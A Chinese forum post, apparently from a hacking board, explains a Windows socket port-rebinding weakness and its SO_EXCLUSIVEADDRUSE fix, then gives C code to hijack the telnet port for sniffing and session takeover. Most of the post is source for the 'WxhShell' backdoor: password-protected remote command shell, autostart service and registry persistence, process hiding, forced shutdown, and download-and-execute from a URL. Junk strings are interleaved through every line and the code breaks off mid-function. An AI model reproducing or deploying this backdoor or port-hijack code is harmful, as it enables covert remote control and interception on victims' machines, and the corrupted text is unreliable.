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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: D/zp_9B  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); !P:~oo =  
{u7_<G7  
  saddr.sin_family = AF_INET; EJrQ9"x&n  
Q5v_^O<!  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); bF3}L=z  
o2(*5*b!@e  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); @6DV?VL  
pzBd(d^*  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ^nL_*+V`f  
wmS:*U2sc  
  这意味着什么?意味着可以进行如下的攻击: $VE=sS.  
== i?lbj  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 nIP*yb}5  
Z"<tEOs/En  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) tO QY./I  
'r`-J4icX  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 _q\w9gN  
Q_R&+@ju  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  :] +D+[c)  
G0h7MO%x  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 bl B00   
4[]4KKO3Q2  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 @xtfm.}  
t?kbN\,  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 n|iO)L\9aB  
^RS`q+g  
  #include yX8$LOjE  
  #include 5SY(:!  
  #include VJ(#FA2  
  #include    A[oxG;9xi  
  DWORD WINAPI ClientThread(LPVOID lpParam);   =:=uV0jX\  
  int main() Ih0kd i  
  { AUAJMS!m  
  WORD wVersionRequested; $'VFb=?XrK  
  DWORD ret; AA,n.;zy<  
  WSADATA wsaData; Q|o~\h<  
  BOOL val; wN!5[N"  
  SOCKADDR_IN saddr; 0l ]K%5#  
  SOCKADDR_IN scaddr; Y;XEC;PXD  
  int err; rOy-6og  
  SOCKET s; O%kX=6  
  SOCKET sc; Xn3Ph!\Z5e  
  int caddsize; co%ttH\ n  
  HANDLE mt; o;@T6-VH  
  DWORD tid;   :AB$d~${M>  
  wVersionRequested = MAKEWORD( 2, 2 ); 13P8Zmco  
  err = WSAStartup( wVersionRequested, &wsaData ); .qBf`T;  
  if ( err != 0 ) { ',p`B-dw  
  printf("error!WSAStartup failed!\n"); 5zF7yvS.w  
  return -1; vJfex,#lv  
  } * <_8]C0>  
  saddr.sin_family = AF_INET; VS\~t  
   qMe$Qr8  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 9rmOf Jo:  
oUBn:Ir@  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); $/Q*@4t  
  saddr.sin_port = htons(23); <J QvuC  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) jsG epi9  
  { "V;M,/Q|  
  printf("error!socket failed!\n"); TM|ycS'  
  return -1; !7-dqw%l  
  } w+~s}ta2^  
  val = TRUE; %A dE5HI-  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 .pOTIRbA  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ^i^/d#  
  { 0Y9\,y_  
  printf("error!setsockopt failed!\n"); *1KrI9i  
  return -1; XaV h.  
  } bgjo_!J+Pp  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; /r Hd9^Y  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 3R[5prE<  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Q0_UBm^f  
jdGoPa\  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ZLJfSnB  
  { 4` gAluJ#  
  ret=GetLastError(); [huS"1  
  printf("error!bind failed!\n"); 1/YWDxo,  
  return -1; bi bjFg   
  } -qBrJ1*  
  listen(s,2); ^MGgFS]G  
  while(1) qqSf17sW  
  { ~% QVjzMC  
  caddsize = sizeof(scaddr); RAQi&?Ko  
  //接受连接请求 iy{*w&p  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); X99:/3MXB'  
  if(sc!=INVALID_SOCKET) .ns1;8  
  { [ENm(e$sI  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); hp]T^  
  if(mt==NULL) &AI/;zru  
  { pN"d~Z8  
  printf("Thread Creat Failed!\n"); DUxj^,mf,  
  break; ;_GS<[A3  
  } eFUJASc  
  } <$LVAy"RD  
  CloseHandle(mt); &oTUj'$  
  } geL)v7t+#  
  closesocket(s); u+GtH;<;  
  WSACleanup(); ;5A  
  return 0; Yqy7__vm  
  }   2 Ke?*  
  DWORD WINAPI ClientThread(LPVOID lpParam) +.T&U7xV  
  { fYR*B0tu  
  SOCKET ss = (SOCKET)lpParam; lz1l1.f8  
  SOCKET sc; 8C2s-%:  
  unsigned char buf[4096]; MS-}IHO  
  SOCKADDR_IN saddr;  `k/hC  
  long num; YT6<1-E#  
  DWORD val; %SL'X`j  
  DWORD ret; `Pv[A  
  //如果是隐藏端口应用的话,可以在此处加一些判断 R g7  O  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   [ 44d(P'  
  saddr.sin_family = AF_INET; .AOf-a  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ~ r6qnC2  
  saddr.sin_port = htons(23); y_:i'Ri.  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) E4aCL#}D  
  { q/[)Z @&(  
  printf("error!socket failed!\n"); QXnL(z  
  return -1; #`rvL6W q}  
  } EM+#h'%-  
  val = 100; L<encPJt  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) cTpAU9|(  
  { 7yLO<o?9w  
  ret = GetLastError(); j_VTa/  
  return -1; _Kg:jal  
  } mr]IxTv  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) +(*S@V$c  
  { ;#G)([  
  ret = GetLastError(); A>8uLO G}  
  return -1; 445}Yw5;9  
  } =#||&1U$  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) q$Z.5EN  
  { 2XubM+6  
  printf("error!socket connect failed!\n"); 8r7~ >p~  
  closesocket(sc); K'EGm #I  
  closesocket(ss); )2KQZMtgm]  
  return -1; BD+V{x}P  
  } KPI c?|o/6  
  while(1) z{w!yMp"  
  { 7KOM,FWKe  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 p9ligs7V'  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 >L F y:a  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 !N--  
  num = recv(ss,buf,4096,0); &)@|WLW  
  if(num>0) AOhfQ:E 4  
  send(sc,buf,num,0); $IzhaX  
  else if(num==0) o qa]iBO  
  break; E(F<shT#  
  num = recv(sc,buf,4096,0); y#Je%tAe 2  
  if(num>0) r]p 0O(  
  send(ss,buf,num,0); (a0q*iC%  
  else if(num==0) 5T)qn`%  
  break;  -z9-f\  
  } 4hb<EH'_&  
  closesocket(ss); X(nbfh?n  
  closesocket(sc); E Z95)pk  
  return 0 ; j_\nsM7  
  } v`ckvl)(C  
b13XHR)0  
&L[7jA'[J  
========================================================== 1'wwwxe7  
rcUXYJCh-  
下边附上一个代码,,WXhSHELL O`_!G`E  
zWYm* c"n\  
========================================================== z yyt`  
@~v |t{G  
#include "stdafx.h" T2-n;8t  
zi7,?bD  
#include <stdio.h> al<[iZ  
#include <string.h> 6KuB<od  
#include <windows.h> 4<b=;8  
#include <winsock2.h> ,2\?kPoc8  
#include <winsvc.h> Te=[tx~x  
#include <urlmon.h> 9~8 A>  
f>\guuG  
#pragma comment (lib, "Ws2_32.lib") :=qblc  
#pragma comment (lib, "urlmon.lib") $Fx:w  
:r%H sur(  
#define MAX_USER   100 // 最大客户端连接数 ^s z4-+>  
#define BUF_SOCK   200 // sock buffer B]Vnu7  
#define KEY_BUFF   255 // 输入 buffer ?}4 =A&][  
*GxOiv7"4W  
#define REBOOT     0   // 重启 [\(}dnj:  
#define SHUTDOWN   1   // 关机 $I40 hk  
8zv=@`4@G  
#define DEF_PORT   5000 // 监听端口 34ij5bko_)  
+L(0R&C  
#define REG_LEN     16   // 注册表键长度 i;4|UeUl  
#define SVC_LEN     80   // NT服务名长度 nX,2jT;@L  
= WFn+#&^  
// 从dll定义API 7?Vo([8  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ? +{=>{1  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 3n{'}SYyz  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); kigq(a  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); <i9pJGW  
~Pq(Ta  
// wxhshell配置信息  d~B ]s  
struct WSCFG { ts BPQ 8Ne  
  int ws_port;         // 监听端口 "RPX_  
  char ws_passstr[REG_LEN]; // 口令 VJ1(|v{D4[  
  int ws_autoins;       // 安装标记, 1=yes 0=no z8W@N8IqC  
  char ws_regname[REG_LEN]; // 注册表键名 KUs\7Sb  
  char ws_svcname[REG_LEN]; // 服务名 3KFw0(S/  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 qI-q%]l  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 m/W0vPM 1  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 M>H4bU(  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 5 fpBzn$  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" xlQl1lOX  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 9GdQ$^m  
%YjZF[P  
}; cR.[4rG'  
F0,-7<G  
// default Wxhshell configuration N<bNJD}  
struct WSCFG wscfg={DEF_PORT, *LnY}#  
    "xuhuanlingzhe", ?@W=bJ8{  
    1, ,0ZkE}<=w  
    "Wxhshell", \wW'Hk=  
    "Wxhshell", (ATvH_Z  
            "WxhShell Service", Y@WCp  
    "Wrsky Windows CmdShell Service", x!$Dje}  
    "Please Input Your Password: ", Ta;'f7Oz  
  1, 5r1{l%?  
  "http://www.wrsky.com/wxhshell.exe", >Xz P'h  
  "Wxhshell.exe" +^!;J/24  
    }; rG7S^,5o  
mQ#E{{:H+  
// 消息定义模块 >y<yFO{  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; K}^Jf ;  
char *msg_ws_prompt="\n\r? for help\n\r#>"; vwZd@%BO  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; S,&tKDJn  
char *msg_ws_ext="\n\rExit."; GtZkzVqLd  
char *msg_ws_end="\n\rQuit."; =*f>vrme  
char *msg_ws_boot="\n\rReboot..."; &%YFO'>>}  
char *msg_ws_poff="\n\rShutdown..."; @bu5{b+8  
char *msg_ws_down="\n\rSave to "; yxfV|ox  
/0|niiI  
char *msg_ws_err="\n\rErr!"; E8]PV,#xY  
char *msg_ws_ok="\n\rOK!"; 2q2;Uo`"S.  
Al?LO;$Pa?  
char ExeFile[MAX_PATH]; s^nPSY!  
int nUser = 0; Jz(!eTVs  
HANDLE handles[MAX_USER]; =\v./Q-  
int OsIsNt; ,/ V'(\>  
(GnwK1f  
SERVICE_STATUS       serviceStatus; &=SP"@D  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; -OLXRc=  
5fGUJ[F=  
// 函数声明 \VW&z:/*pZ  
int Install(void); 1iOQ8hD  
int Uninstall(void); Mp;yvatO  
int DownloadFile(char *sURL, SOCKET wsh); .BLF7> M1  
int Boot(int flag); {4\hxyw  
void HideProc(void); Z  Mp  
int GetOsVer(void); ![H!Y W'  
int Wxhshell(SOCKET wsl); {bF95Hs-  
void TalkWithClient(void *cs); .;gK*`G2W)  
int CmdShell(SOCKET sock); ;1Kxqp z_i  
int StartFromService(void); IT \Pj_  
int StartWxhshell(LPSTR lpCmdLine); oYWcX9R  
[.e Y xZ{=  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); :sT\-MpQvn  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); W!a~ #R/r-  
!*8x>,/>  
// 数据结构和表定义 RZykwD(  
SERVICE_TABLE_ENTRY DispatchTable[] = g=?KpI-pn0  
{ {V& 2k9*  
{wscfg.ws_svcname, NTServiceMain}, ,Mwyk1:xix  
{NULL, NULL} M,Y lhL  
}; .F'fBT` $  
(n{sp  
// 自我安装 <&'Ye[k  
int Install(void) QC:/xP  
{ \Yv<Tz J9  
  char svExeFile[MAX_PATH]; W68d"J%>_  
  HKEY key; 1k@k2rE  
  strcpy(svExeFile,ExeFile); ^'8T9N@U  
HLMEB0zh^  
// 如果是win9x系统,修改注册表设为自启动 C7=Q!UK`\  
if(!OsIsNt) { M4a- +T"  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,j~ R ^j  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); b@ J&jE~d  
  RegCloseKey(key); tMaJ; 4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 02]9 OnWw  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )=\W sQ  
  RegCloseKey(key); UXB[3SP  
  return 0; !=#230Y  
    } mfu >j,7l  
  } g;(r@>U.r  
} )2X ng_,  
else { X-di^%<  
ZyqTtA!A  
// 如果是NT以上系统,安装为系统服务 0y4z`rzTn  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); }z&P^p)R  
if (schSCManager!=0) Y[8w0ve- g  
{ @URLFMFi  
  SC_HANDLE schService = CreateService nbYkr*: "t  
  ( H3 _7a9  
  schSCManager, *VT@  
  wscfg.ws_svcname, }I7/FqrD  
  wscfg.ws_svcdisp, ;??wLNdf-  
  SERVICE_ALL_ACCESS, 6l#1E#]|  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , fSp(}'m2L  
  SERVICE_AUTO_START, 3mn0  
  SERVICE_ERROR_NORMAL, +j5u[X  
  svExeFile, &?3?8Q\  
  NULL, EmNB}\IYU  
  NULL, P9J3Ii!  
  NULL, RM53B  
  NULL, z;x `dOP  
  NULL `4s5yNUi=  
  ); 5Ah-aDBj  
  if (schService!=0) N$ZThZqqv  
  { 5=Bj?xb$'  
  CloseServiceHandle(schService); w <]7:/  
  CloseServiceHandle(schSCManager); 0_bt*.w I+  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 6wzF6] @O  
  strcat(svExeFile,wscfg.ws_svcname); zTY|Z@:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ok X\z[X  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); x&R&\}@G m  
  RegCloseKey(key); !D%*s,t\'  
  return 0; 3m4?l ~  
    } K@VXFV  
  } -5\aL"?4  
  CloseServiceHandle(schSCManager); xiU-}H'o  
} vII&v+C  
} U-TwrX  
|6B:tw/.  
return 1; 32:,g4!~6  
} %dZD;Vhg  
xtjTU;T  
// 自我卸载 9Q :IgY?T  
int Uninstall(void) ?{qw /&  
{ vnz.81OR  
  HKEY key; t; n6Q0  
u*Oz1~  
if(!OsIsNt) { c%)uG _  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [p@NzS/  
  RegDeleteValue(key,wscfg.ws_regname); 4:cbasy  
  RegCloseKey(key); mU_?}}aK,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { M@Q=!!tQ(  
  RegDeleteValue(key,wscfg.ws_regname); CzzG  
  RegCloseKey(key); +nd'Uf   
  return 0; &+`l $h  
  } oO @6c%  
} 'KQ]7  
} MvY0?!v  
else { U=XaI%ZM)  
X5wS6v)#(  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ?9vBn  
if (schSCManager!=0) uGl0z79  
{ u7j-uVG  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); s~/]nz]"J  
  if (schService!=0) @.*[CC;&  
  { ~<, \=;b/  
  if(DeleteService(schService)!=0) { vFb{(gIJ  
  CloseServiceHandle(schService); &7Ixf?e!K  
  CloseServiceHandle(schSCManager); `#fOY$#XB  
  return 0; _DC/`_'  
  } kVU|k-?2  
  CloseServiceHandle(schService); OJ UM Y<5  
  } =&"Vf!7YR7  
  CloseServiceHandle(schSCManager); D0i84I`Z%  
} bS/`G0!  
} g8XGZW!  
=(v!pEF  
return 1; SX^fh.  
} 5F2+o#*h  
n{BC m %  
// 从指定url下载文件 ejo4mQ]a  
int DownloadFile(char *sURL, SOCKET wsh) ErESk"2t  
{ EFql g9bK  
  HRESULT hr; ?xQ lX%&`6  
char seps[]= "/"; d?N"NqaN  
char *token; kTi QO2H  
char *file; p w>A Q  
char myURL[MAX_PATH]; zp4ru\  
char myFILE[MAX_PATH]; ?%Y?z ]L#  
3!Qt_,  
strcpy(myURL,sURL); ~n[LL)v  
  token=strtok(myURL,seps); 7gVWu"  
  while(token!=NULL) )SA$hwR  
  { c;U\nC<Y  
    file=token; *~!xeL  
  token=strtok(NULL,seps); +ZRsa`'^  
  } MP}H 5  
18[f_0@ #  
GetCurrentDirectory(MAX_PATH,myFILE); f=K1ZD  
strcat(myFILE, "\\"); X8Sk  
strcat(myFILE, file); MruWt*  
  send(wsh,myFILE,strlen(myFILE),0); WKah$l  
send(wsh,"...",3,0); nNhN:?  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Z$zUy|s[  
  if(hr==S_OK) \)M 5o  
return 0; Z~?:r  
else ys#M* {?  
return 1; eaX`S.!jR  
ePs<jrB<  
} <;=Y4$y[  
+ypG<VBx%  
// 系统电源模块 \=N tbBL$[  
int Boot(int flag) S OK2{xCG  
{ 9Biw!%a  
  HANDLE hToken; Dx <IS^>i  
  TOKEN_PRIVILEGES tkp; !FSraW2  
$,aU"'D  
  if(OsIsNt) { =R>Sxaq  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); yQi|^X~?$  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); p1?}"bHk  
    tkp.PrivilegeCount = 1; 3~cOQ%#]4  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; A^K,[8VX  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); =\XAD+  
if(flag==REBOOT) { 'oT}jI  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) SAH\'v0  
  return 0; NPoXz  
} ,O[vxN1X*  
else { )D[ypuM&  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) izC>-  
  return 0; LpmspIPvf  
} 9d{W/t?NH  
  } =k$d8g ez  
  else { Q%eBm_r;  
if(flag==REBOOT) { ^1~/FU  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) pM46I"  
  return 0; Q ,;x;QR4  
} N\uQ-XOi  
else { Ec\x;li! *  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) .oK7E(QJ  
  return 0; \s+MHa&  
} Q5<vK{  
} b]JN23IS2  
hf?^#=k^  
return 1; ;! 9_5Ar%  
} `S~u4+y]  
L}21[ N~ky  
// win9x进程隐藏模块 &R5M&IwL  
void HideProc(void) 3?O| X+$p  
{ :?UIyN?  
zHdp'J"  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); }oN(nPxv9  
  if ( hKernel != NULL ) T^nX+;:|  
  { I2W2B3D` c  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Vks,3$  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); N Dg]s2T  
    FreeLibrary(hKernel); J<BdIKCma  
  } \ yOZ&qU  
)_Oc=/c|f  
return; z5vryhX_Z  
} EmUxM_ T/2  
7q^/.:wlf  
// 获取操作系统版本 Z~c7r n  
int GetOsVer(void) Bjo&  
{ 0ay!tS dN  
  OSVERSIONINFO winfo; =#V11j  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Z|/):nVP7  
  GetVersionEx(&winfo); F4&N;Zm2  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) SW; b E  
  return 1; ]rNfr-  
  else sY6'y'a95  
  return 0; j |i6/Pk9J  
} up1aFzY|6x  
!<LS4s;  
// 客户端句柄模块 <=-\so(  
int Wxhshell(SOCKET wsl) z<fEJN  
{ 2"MI8EK  
  SOCKET wsh; 8;'n.SC{  
  struct sockaddr_in client; UA9LI<Y  
  DWORD myID; :RQ[(zD]  
MMAC,4  
  while(nUser<MAX_USER) IW1\vfe  
{ QVH_B+ Q  
  int nSize=sizeof(client); b5|p#&YK~  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); amSyGQ2  
  if(wsh==INVALID_SOCKET) return 1; O.E0LCABC  
:I $2[K  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); {S}@P~H =  
if(handles[nUser]==0) CS{9|FNz  
  closesocket(wsh); E+)Go-rS(  
else sWC"^ So  
  nUser++; {DK:"ep  
  } L[bGO|O  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); BJE <~"  
bT8UmR98  
  return 0; =_H39)|T  
} { &'TA  
@j (jOe  
// 关闭 socket #TWc` 8  
void CloseIt(SOCKET wsh) nGbrWu]w  
{ sy?>e*-{  
closesocket(wsh); !kcg#+s91  
nUser--; .'a|St  
ExitThread(0); mr1}e VM~!  
} y|dXxd9  
mqHt%RX  
// 客户端请求句柄 Z:v1?v  
void TalkWithClient(void *cs) _UBI,Dg]  
{ '=H^m D+gl  
qck/b  
  SOCKET wsh=(SOCKET)cs; vck$@3*  
  char pwd[SVC_LEN]; ) G{v>Z ,  
  char cmd[KEY_BUFF]; 3XnXQ/({  
char chr[1]; $"8k|^Z3  
int i,j; w!}1oy  
6a?y $+pr  
  while (nUser < MAX_USER) { (*RybKoaA  
l(5-Cr  
if(wscfg.ws_passstr) { t0>{0 5  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); yd72y'zi  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Wj:QC<5 v  
  //ZeroMemory(pwd,KEY_BUFF); a  98  
      i=0; (<l2 ^H  
  while(i<SVC_LEN) { v'!Nt k  
3+-(;>>\  
  // 设置超时 Q]wM/7  
  fd_set FdRead; wuzz%9;@B  
  struct timeval TimeOut; XNU qZ-M :  
  FD_ZERO(&FdRead); RFJ;hh  
  FD_SET(wsh,&FdRead); FZ9<Q  
  TimeOut.tv_sec=8; ^kr)U8  
  TimeOut.tv_usec=0; W/>?1+r.Z  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); iy]}1((hR  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); $3TTHS o  
!I[n|r"  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7fay:_  
  pwd=chr[0]; $vBU}~l7  
  if(chr[0]==0xd || chr[0]==0xa) { (L >[,YO9  
  pwd=0; >, E$bm2  
  break;  9+QrTO  
  } 5E!m! nBZ  
  i++; B`scuLl3  
    } ]M(mq`K  
sZ"U=6R  
  // 如果是非法用户,关闭 socket [kOA+\v  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); /[? F1Q  
} ~vGtNMQg  
`z_7[$\~  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); EKPTDKut  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;J(,F:N  
rcZ SC3  
while(1) { eeU$uR  
jw[BtRW  
  ZeroMemory(cmd,KEY_BUFF); XKX,7  
4Aew )   
      // 自动支持客户端 telnet标准   n^\;*1%$c@  
  j=0; &=Zg0Q  
  while(j<KEY_BUFF) { />Vx*^u8Hz  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); } 4]<P  
  cmd[j]=chr[0]; ZZU8B?)  
  if(chr[0]==0xa || chr[0]==0xd) { #( sNk,^Ax  
  cmd[j]=0; 1N!g`=}  
  break; Jyci}CU3\Q  
  } 7V{"!V5  
  j++; 66<\i ltUQ  
    } LU,"i^T  
" ^baiN@ac  
  // 下载文件 i=UTc1  
  if(strstr(cmd,"http://")) { 7f%Qc %B  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); NNw d;AC  
  if(DownloadFile(cmd,wsh)) P\4tK<P|  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); +n[wkgFd  
  else I#X2 UQzP  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); U%DF!~n  
  } Bh,)5E^m  
  else { IZ0$=aB7  
En9]x"_  
    switch(cmd[0]) { \TB%N1^  
  5^K#Tj ;2  
  // 帮助 fq'Xy9L  
  case '?': { A dEbyL  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); r?nV Sb|[  
    break; 'UVv(-  
  } @CU|3Qg  
  // 安装 4spaw?j  
  case 'i': { =)- Q?1q  
    if(Install()) $Oe58  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %s2"W~  
    else ; Uqx&5P}  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); g#b u_E61B  
    break; X$ B]P 7G7  
    } k!/ _/^{  
  // 卸载 1Bk*G>CX9(  
  case 'r': { ^i+ z_%V  
    if(Uninstall())  g1wI/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); kbYg4t]FH  
    else L-C/Luws  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); U`9\P2D`/  
    break; Gr"7w[|+  
    } < mK  
  // 显示 wxhshell 所在路径 ' ?G[T28  
  case 'p': { ,(0XsBL  
    char svExeFile[MAX_PATH]; [k~+(.2I  
    strcpy(svExeFile,"\n\r"); ]Ec[")"kT  
      strcat(svExeFile,ExeFile); [du>ff  
        send(wsh,svExeFile,strlen(svExeFile),0); '<D`:srV  
    break; B~;LBgpp  
    } >?9 WeXG  
  // 重启 q 9brpbg_  
  case 'b': { mu6xL QdA  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 2Z`$  
    if(Boot(REBOOT)) U aj`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2]NAs9aZ  
    else { gLaO#cQ%  
    closesocket(wsh); =3sldKL&F  
    ExitThread(0); ,AbKxT f2  
    } :@>br+S  
    break; D d# SUQ  
    } JXY!c\,  
  // 关机 } C{}oLz  
  case 'd': { Q)6wkY+!  
